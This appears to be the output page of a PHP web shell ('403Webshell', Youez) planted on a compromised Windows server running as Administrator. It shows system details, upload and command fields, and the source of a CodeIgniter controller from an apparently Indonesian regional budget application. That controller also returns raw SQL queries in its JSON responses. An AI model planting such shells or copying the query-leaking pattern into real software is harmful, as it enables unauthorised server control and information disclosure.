403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipapbd_2018_perubahan/application/modules/belanja/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipapbd_2018_perubahan/application/modules/belanja/controllers/belanja.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Belanja extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'belanja';
    $this->modul_display = 'Belanja';
    $this->view_form = 'belanja_form';
    $this->view_daftar = 'belanja_view';
    $this->report_daftar = 'Daftar Belanja';
    $this->report_form = 'Form Belanja';
    $this->load->model('Belanja_model','data_model');

    $this->message_aktivitas_dihapus = 'Belanja telah dihapus.';
    $this->message_aktivitas_gagal_dihapus = 'Belanja tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('id_skpd', 'SKPD', 'required|trim|integer');
    $this->form_validation->set_rules('pekas', 'Akun Bendahara', 'trim|integer');
    $this->form_validation->set_rules('bk', 'Bendahara Pengeluaran', 'trim|integer');

    $beban = $this->input->post('beban') ? $this->input->post('beban') : '';
    if ($beban === 'BL')
    {
      $this->form_validation->set_rules('id_keg', 'Kegiatan', 'required|trim|integer');
    }

    /* cek rincian rekening minus */
    $this->form_validation->set_rules('rinci', 'Rincian Akun', 'required|callback__cek_minus_rek');
    $this->form_validation->set_message('_cek_minus_rek', 'Ada Rincian Belanja yang sisanya minus.');

    $this->form_validation->set_rules('id', 'Dependensi', 'required|callback__cek_dependensi_sisa');
  }

  public function _cek_minus_rek($data)
  {
    $arrdata = json_decode($data);

    if (is_array($arrdata)){
      $param = array(
        'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
        'beban' => $this->input->post('beban') ? $this->input->post('beban') : '',
        'keperluan' => $this->input->post('keperluan') ? $this->input->post('keperluan') : '',
        'tanggal' => $this->input->post('tgl') ? $this->input->post('tgl') : '',
        'id_aktivitas' => $this->input->post('id') ? $this->input->post('id') : 0,
        'id_kegiatan' => $this->input->post('id_keg') ? $this->input->post('id_keg') : 0,
      );

      for ($i = 0; $i < count($arrdata); $i++){

        $param['id_rekening'] = $arrdata[$i]->idrek;
        $sisa = $this->data_model->get_sisa_rekening($param);

        if ($sisa && (float) $sisa['NOMINAL'] - $arrdata[$i]->nom < 0.0) return false;
      }
    }
    else return true;
  }

  public function _cek_dependensi_sisa($id)
  {
    $mode = $this->input->post('mode') ? $this->input->post('mode') : '';
    if ($mode === 'edit')
    {
      $data = $this->data_model->get_aktivitas($id);
      $data['TANGGAL'] = $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : '0';
      $data['ID_REKENING_PEKAS'] = $this->input->post('pekas') ? $this->input->post('pekas') : '0';
    }
    else {
      $data['ID_AKTIVITAS'] = $id;
      $data['ID_SKPD'] = $this->input->post('id_skpd') ? $this->input->post('id_skpd') : '0';
      $data['TANGGAL'] = $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : '0';
      $data['ID_REKENING_PEKAS'] = $this->input->post('pekas') ? $this->input->post('pekas') : '0';
      $data['KEPERLUAN'] = $this->input->post('keperluan') ? $this->input->post('keperluan') : '';
      $data['BEBAN'] = $this->input->post('beban') ? $this->input->post('beban') : '';
      $data['ID_KEGIATAN'] = $this->input->post('id_keg') ? $this->input->post('id_keg') : '0';
    }
    $sisa_spj = $this->data_model->check_dependency_sisa_spj($data);
    $sisa_kas = $this->data_model->check_dependency_sisa_kas($data);

    $pesan = '';
    if (!$sisa_spj) $pesan = "Sisa SPJ tidak memenuhi syarat.\n";
    if (!$sisa_kas) $pesan = "Sisa Kas tidak memenuhi syarat.\n";

    $this->form_validation->set_message('_cek_dependensi_sisa', $pesan);
    return $sisa_spj && $sisa_kas;
  }

  function get_extra_data($id)
  {
    $extra = array();
    $extra['spp_up'] = $this->session->userdata('konf_spp_up');
    $extra['spd'] = $this->session->userdata('konf_spd_mode');

    return $extra;
  }

  public function rinci_kegiatan($id=0)
  {
    $result = $this->data_model->get_rinci_kegiatan_by_id($id);
    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_KEGIATAN'];
        $response->rows[$i]['cell'] = array(
              $result[$i]['ID_KEGIATAN'],
              $result[$i]['KODE_KEGIATAN_SKPD'],
              $result[$i]['NAMA_KEGIATAN'],
              $result[$i]['NOMINAL']
        );
      }
    }
    echo json_encode($response);
  }

  public function rinci_rekening($id=0)
  {
    $result = $this->data_model->get_rinci_rekening_by_id($id);
    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_REKENING'];
        $response->rows[$i]['cell'] = array(
              $result[$i]['ID_REKENING'],
              $result[$i]['KODE_REKENING'],
              $result[$i]['NAMA_REKENING'],
              $result[$i]['NOMINAL'],
        );
      }
    }
    echo json_encode($response);
  }

  public function rinci_pajak($id=0)
  {
    $result = $this->data_model->get_rinci_pajak_by_id($id);
    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_PAJAK'];
        $response->rows[$i]['cell'] = array(
              $result[$i]['ID_PAJAK'],
              $result[$i]['NAMA_PAJAK'],
              $result[$i]['KODE_REKENING'],
              $result[$i]['NAMA_REKENING'],
              $result[$i]['PERSEN'],
              $result[$i]['NOMINAL'],
              $result[$i]['NAMA_WAJIB_PAJAK'],
              $result[$i]['NPWP'],
        );
      }
    }
    echo json_encode($response);
  }

  public function rinci_kontrak($id=0)
  {
    $result = $this->data_model->get_rinci_kontrak($id);
    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_REKENING'];
        $response->rows[$i]['cell'] = array(
              $result[$i]['ID_REKENING'],
              $result[$i]['KODE_REKENING'],
              $result[$i]['NAMA_REKENING'],
              $result[$i]['NOMINAL_BAP'],
        );
      }
    }
    echo json_encode($response);
  }

  public function rincian_bast($id=0)
  {
    $response = (object) NULL;
    $result = $this->data_model->get_rincian_bast($id);
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i] = array(
              "idrek" => $result[$i]['ID_REKENING'],
              "kdrek" => $result[$i]['KODE_REKENING'],
              "nmrek" => $result[$i]['NAMA_REKENING'],
              "nom" =>  $result[$i]['NOMINAL'],
        );
      }
    }
    echo json_encode($response);
  }

  public function sisa_kas()
  {
    $param = array(
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
      'tanggal' => $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : 0,
      'beban' => $this->input->post('beban') ? $this->input->post('beban') : '',
      'keperluan' => $this->input->post('keperluan') ? $this->input->post('keperluan') : '',
      'id_keg' => $this->input->post('id_keg') ? $this->input->post('id_keg') : '0',
      'id_belanja' => $this->input->post('id') ? $this->input->post('id') : 0,
      'id_rekening_pekas' => $this->input->post('pekas') ? $this->input->post('pekas') : 0,
    );

    $tunai = $this->data_model->get_sisa_kas_tunai($param);
    $sisa_tu = $this->data_model->get_sisa_tu($param);
    $sisa_kegiatan = $this->data_model->get_sisa_kegiatan($param);

    $response = (object) NULL;
    $response = array(
      'tunai' => isset($tunai['NOMINAL']) ? $tunai['NOMINAL'] : 0,
      'tunai_tgl' => isset($tunai['NOMINAL_TANGGAL']) ? $tunai['NOMINAL_TANGGAL'] : 0,
      'sisa_tu' => isset($sisa_tu['NOMINAL']) ? $sisa_tu['NOMINAL'] : 0,
      'sisa_spd_keg' => isset($sisa_kegiatan['SISA']) ? $sisa_kegiatan['SISA'] : 0,
      'sql' => $this->db->queries,
    );
    echo json_encode($response);
  }

  public function sisa_rekening()
  {
    $idr = $this->input->post('idr') ? $this->input->post('idr') : 0;
    $param = array(
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
      'beban' => $this->input->post('beban') ? $this->input->post('beban') : '',
      'keperluan' => $this->input->post('keperluan') ? $this->input->post('keperluan') : '',
      'id_kegiatan' => $this->input->post('id_kegiatan') ? $this->input->post('id_kegiatan') : 0,
      'id_rekening' => $this->input->post('idr') ? $this->input->post('idr') : 0,
      'id_aktivitas' => $this->input->post('id') ? $this->input->post('id') : 0
    );

    $sisa = $this->data_model->get_sisa_rekening($param);
    $belanja = $this->data_model->get_total_belanja($param);
    $spj = $this->data_model->get_total_spj($param);
    $response = (object) NULL;
    $response = array(
      'idr' => $idr,
      'sisa' => isset($sisa['NOMINAL']) ? $sisa['NOMINAL'] : 0,
      'pagu' => isset($sisa['NOMINAL_SPP']) ? $sisa['NOMINAL_ANGGARAN'] : 0,
      'spp' => isset($sisa['NOMINAL_SPP']) ? $sisa['NOMINAL_SPP'] : 0,
      'belanja' => isset($sisa['NOMINAL_BELANJA']) ? $sisa['NOMINAL_BELANJA'] : 0,
      'cp' => isset($sisa['NOMINAL_CP']) ? $sisa['NOMINAL_CP'] : 0,
      'mp' => isset($sisa['NOMINAL_MP']) ? $sisa['NOMINAL_MP'] : 0,
      'blj' => isset($belanja['NOMINAL']) ? $belanja['NOMINAL'] : 0,
      'spj' => isset($spj['NOMINAL']) ? $spj['NOMINAL'] : 0,
      'sql' => $this->db->queries,
    );
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit